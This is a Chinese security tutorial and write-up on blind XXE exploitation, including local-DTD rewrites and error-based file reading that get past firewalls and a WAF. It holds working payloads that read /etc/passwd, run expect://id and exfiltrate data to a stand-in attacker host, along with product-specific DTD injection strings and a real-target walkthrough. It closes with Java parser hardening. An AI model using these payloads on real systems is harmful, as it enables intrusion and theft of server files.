XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

admin 2022年4月16日01:20:53XXE利用:结合Local DTD和Error-Based技巧bypass防火墙已关闭评论236 views字数 7679阅读25分35秒阅读模式

一、概述

XXE是外部实体注入攻击,曾经的OWASP TOP 10之一。分为有回显的XXE和无回显的XXE。

XXE的原理十分简单,就是服务端xml解析器允许外部实体且未作限制,解析外部实体时遇到类似SYSTEM "URI"的关键字时,会去请求后面的URI。这部分已经很多人讲过了,算是比较基础的知识,这里不再赘述。

有回显的利用十分简单,然而实际需要的XXE问题很多都是无回显的。这种情况下一般会用到oob带外攻击来获取文件内容。但是随着网络结构的日益复杂和厂商对安全的逐步重视,有时会存在防火墙或网络隔离,导致服务器无法获取外部服务器上的恶意dtd文件,因为无法通过oob技术进一步利用。

此时可以通过Local DTD和error-based来获取文件内容。该项技术由安全研究员Arseniy Sharoglazov在18年分享过,这里通过真实的漏洞来实际体验这个技巧,当然重点是在于防火墙的网络隔离限制bypass。

二、漏洞详情

2.1 XXE基础

XXE(XML External Entity),外部实体注入攻击,曾经的OWASP TOP 10之一,是当一种解析XML数据过程中发生的攻击。当XML解析的数据用户可控,且XML解析允许外部实体时,会存在的漏洞。

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是在无回显的情况下,也可以通过带外攻击或报错的的方式来获取文件内容。

常见的payload如下:

  • 文件读取

<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>
 <foo>&xxe;</foo>

* SSRF

<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM  "http://victim.com/" >]>
 <foo>&xxe;</foo>

* RCE
注意,这个需要服务端PHP开启expect模块才行。

<!DOCTYPE foo[
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >
 ]>
 <creds>
   <user>`&xxe;`</user>
   <pass>`mypass`</pass>
 </creds>

* Blind XXE
以上那些payload是针对服务端有回显的情况,在服务端无回显的情况下则无法读取到文件内容的。这种情况下一般有两种利用方法:error-based和out-of-bind。大致payload如下

  • out-of-band

    <!-- malicious.dtd, in attacker server -->
     <!ENTITY % file SYSTEM "file:///etc/passwd">
     <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
     %eval;
     %exfiltrate;
     
     <!-- payload -->
     <!DOCTYPE foo [<!ENTITY % xxe SYSTEM
     "http://attacker.com/malicious.dtd"> %xxe;]>

    不过这种方法,对于有特殊字符的文件内容会读取失败。这种情况下可以利用php或java的一些协议对文件内容进行编码压缩来进一步利用,某些情况下可以使用FTP协议来代替HTTP协议进行利用。
    * error-based
    如果服务端会返回报错信息,则可以利用XML解析过程中的报错内容来获取文件内容,payload如下。

<!-- malicious.dtd, in attacker server -->
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
 %eval;
 %error;
 
 <!-- payload -->
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM
 "http://attacker.com/malicious.dtd"> %xxe;]>

2.2 Local DTD利用原理

  1. OOB Failed
    对于实际遇到的XXE,很大一部分都是无回显的。而对于Blind XXE,一般都是直接通过上面的payload,借助oob和报错来进行文件的读取。
    但值得注意的是,由于现在网络架构的日益复杂,加之众多厂商安全意识的提高,有时可能会存在这么一种情况:攻击者服务器和目标服务器之间存在防火墙,从而导致目标服务器无法访问攻击者服务器上的dtd文件。简而言之,就是由于防火墙的限制,目标服务器无法访问攻击者的机器。
    此时又该如何利用呢?可利用目标服务器上的Local DTD重写来进一步获取文件内容
  2. Summary of Local DTD Technique
    介绍一下Local DTD利用原理,大致如下:
    首先Local DTD是指目标服务器本机上的DTD文件,因为是利用的目标服务器上已有的DTD文件,就在服务器本机上,因此根本无需出网,也就无视了防火墙的限制,无需考虑网络隔离的问题。
    其次需要明白,内部实体是无法在一个参数实体中引用另一个参数实体的。比如下面这个payload

<?xml version="1.0" ?>
 <!DOCTYPE message [
     <!ENTITY % file SYSTEM "file:///etc/passwd">
     <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
     %eval;
     %error;
 ]>
 <msg></msg>

就会产生如下报错:

Internal Error: SAX Parser Error. Detail:
 The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

所以这种情况下,我们只能引用外部DTD文件。然而由于网络隔离,无法访问自定义的恶意DTD文件。所以就需要利用服务器本机的Local DTD重写来获得文件内容。

假设服务器上存在一个test.dtd文件,内容如下:

<!ENTITY % condition "and | or | not | equal">
 <!ELEMENT pattern (%condition;)>

我们可以引用test.dtd,构造如下payload:

<?xml version="1.0" ?>
 <!DOCTYPE message [
     <!ENTITY % local_dtd SYSTEM "file:///etc/test.dtd">
 
     <!ENTITY % condition 'aaa)>
         <!ENTITY % file SYSTEM "file:///etc/passwd">
         <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
         %eval;
         %error;
         <!ELEMENT aa (bb'>
 
     %local_dtd;
 ]>
 <msg>xxx</msg>

这是因为所有的XML实体都是常量,如果定义两个同名的实体,只有第一个才会被使用。如果我们再引用test.dtd后,再在payload中定义其中的参数实体condition,就会覆盖其原本的值。也即参数实体condition的内容被rewrite成了精心构造的payload的值。简单来说,很类似参数重赋值。

知道了这些,就可以基于此来进行利用。明确一下目标,我们需要找到一个服务器上存在的dtd文件,这个文件中要包含如下模式的实体定义:

..
 <!ENTITY % injectable "xxx">
 ..
 <!ENTITY % foobar (%injectable;)>
 ..

那么现在问题又来了,如何寻找服务器上的这类DTD文件?

这并不难,很多linux系统都有一些通用的dtd文件,并且这些文件都是开源的。比如GNOME桌面环境就使用了/usr/share/yelp/dtd/docbookx.dtd

更加幸运的是,GoSecure发布了一个专门的查找工具,用起来很简单,可以帮助我们找到符合条件的Local DTD。

下面还列出了一些系统中普遍存在的Local DTD和其对应的payload。不过还是推荐gosecure提供的工具,很好用。

xml
 <!-- Cisco WebEx -->
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
 <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
 %local_dtd;
 
 <!-- Citrix XenMobile Server -->
 <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
 <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
 %local_dtd;
 
 <!-- Custom Multi-Platform IBM WebSphere Application -->
 <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
 <!ENTITY % xs-datatypes 'Your DTD code'>
 <!ENTITY % simpleType "a">
 <!ENTITY % restriction "b">
 <!ENTITY % boolean "(c)">
 <!ENTITY % URIref "CDATA">
 <!ENTITY % XPathExpr "CDATA">
 <!ENTITY % QName "NMTOKEN">
 <!ENTITY % NCName "NMTOKEN">
 <!ENTITY % nonNegativeInteger "NMTOKEN">
 %local_dtd;

2.3 实际漏洞

在实际的某个网站测试过程中,观察到存在一个REST API是基于JSON传递数据的。

把请求包的Content-Type改成application/xml之后重放这个数据包,发现服务端(JBoss)抛出一段错误,大概是说希望解析XML,但是却提供了JSON。

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

所以尝试把请求包的body改成xml数据再次发送(在ctf中很常见了),不过由于现在大多数Web服务都会部署有WAF,所以最开始使用最简单的XML数据来判断服务端是否真的会解析xml数据。

使用以下数据进行重放,发现请求成功。

<root>
 <id>123</id>
 <name>tom</name>
 </root>

然后,使用最简单的XXE payload试着打一下看结果。

<!DOCTYPE foo[
  <!ENTITY x SYSTEM "file:///etc/passwd">
 ]>
 
 <root>
 <id>1</id>
 <name>&x;</name>
 </root>

然而这段payload不幸的被WAF拦截了。不过在file://协议之前简单的加一个空格就能绕过去。payload如下:

<!DOCTYPE foo[
  <!ENTITY x SYSTEM " file:///etc/passwd">
 ]>
 
 <root>
 <id>1</id>
 <name>&x;</name>
 </root>

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

进一步尝试利用会发现:

  • 如果尝试读取类似/etc/shadow的文件,服务端会返回permission denied
  • 如果尝试读取不存在的文件,服务端会返回file not exists

到这里,基本就能确认XXE问题的存在。

但是如何进一步利用呢?服务端只会返回一些报错信息,并不会直接返回要读取文件的内容,可以是说是Blind XXE。

尝试利用HTTP OOB来读取文件,先用burp collaborator尝试一下看能不能访问。payload如下:

<!DOCTYPE foo[
  <!ENTITY % x SYSTEM " http://xxxxxx.burpcollaborator.net">
  %x;
 ]>
 
 <root>
 <id>1</id>
 <name>tom</name>
 </root>

结果发现没有访问记录,说明中间可能是存在防火墙或网络隔离,服务端并不能访问到外网的服务器。这样HTTP OOB的方法就不行了。

所以,接下来就要尝试前文提到的local dtd和error-based来利用了。

这里使用GoSecure的工具去探测服务器上可利用的Local DTD。

$ docker export {container} -o jboss.tar
 $ java -jar dtd-finder-1.0-all.jar jboss.tar

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

通过这个工具找到了/schema/xmlschema/XMLSchema.dtd中存在一个可注入的实体xs-datatypes

检查XMLSchema.dtd的文件内容:

xml
 ....
 <!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
 ....
 %xs-datatypes; <!--这里可以重写参数实体>
 ...
 ....

所以编写如下payload:

xml
 <!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
 <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>">
 %eval;
 %error;
 '>

由于是Java写的应用,可以使用jar协议来读取文件,这样可以有效防止文件中特殊字符导致的问题。payload如下:

<!DOCTYPE root [
 <!ENTITY % x SYSTEM
 "jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
 <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
         <!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///xyz/%file;'>">
         %eval;
         %error;
 '>
 %x;
 ]>
 <root>
 <id>1</id>
 <name>tom</name>
 </root>

不过这里的payload,网站的展示有问题,以截图中的为准

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

然后就可以看到读取成功。

XXE利用:结合Local DTD和Error-Based技巧bypass防火墙

2.4 XXE的防御

防御的话基本就是禁用外部实体,比如golang原生的xml库就默认引用了外部实体。

不过本次漏洞是java的,而JAVA中解析XML常见的几个库有DOM、DOM4J、JDOM 和SAX等。

1.setFeature
feature表示解析器的功能,通过设置feature,我们可以控制解析器的行为。

// 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击
 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
 // 如果不能完全禁用DTDs,最少采取以下措施,必须两项同时存在
 setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部实体
 setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止参数实体

还有就是就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自定义的DTD。代码大致如下:

public String xxe_SAXParser_fix(HttpServletRequest request) {
         try {
             String xml_con = getBody(request);
             System.out.println(xml_con);
 
             SAXParserFactory spf = SAXParserFactory.newInstance();
             spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
             spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
             spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
             SAXParser parser = spf.newSAXParser();
             parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml
             return "test";
        } catch (Exception e) {
             System.out.println(e);
             return "except";
        }
    }

三、总结

本篇文章介绍了各种XXE类型的利用方法,当然重点在于blind xxe的利用,简单介绍了error-based和oob这两种利用方法,着重强调了当存在防火墙无法访问外部dtd时,通过Local DTD rewrite和error-based技巧的结合,来对blind xxe进一步利用。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月16日01:20:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE利用:结合Local DTD和Error-Based技巧bypass防火墙http://cn-sec.com/archives/917030.html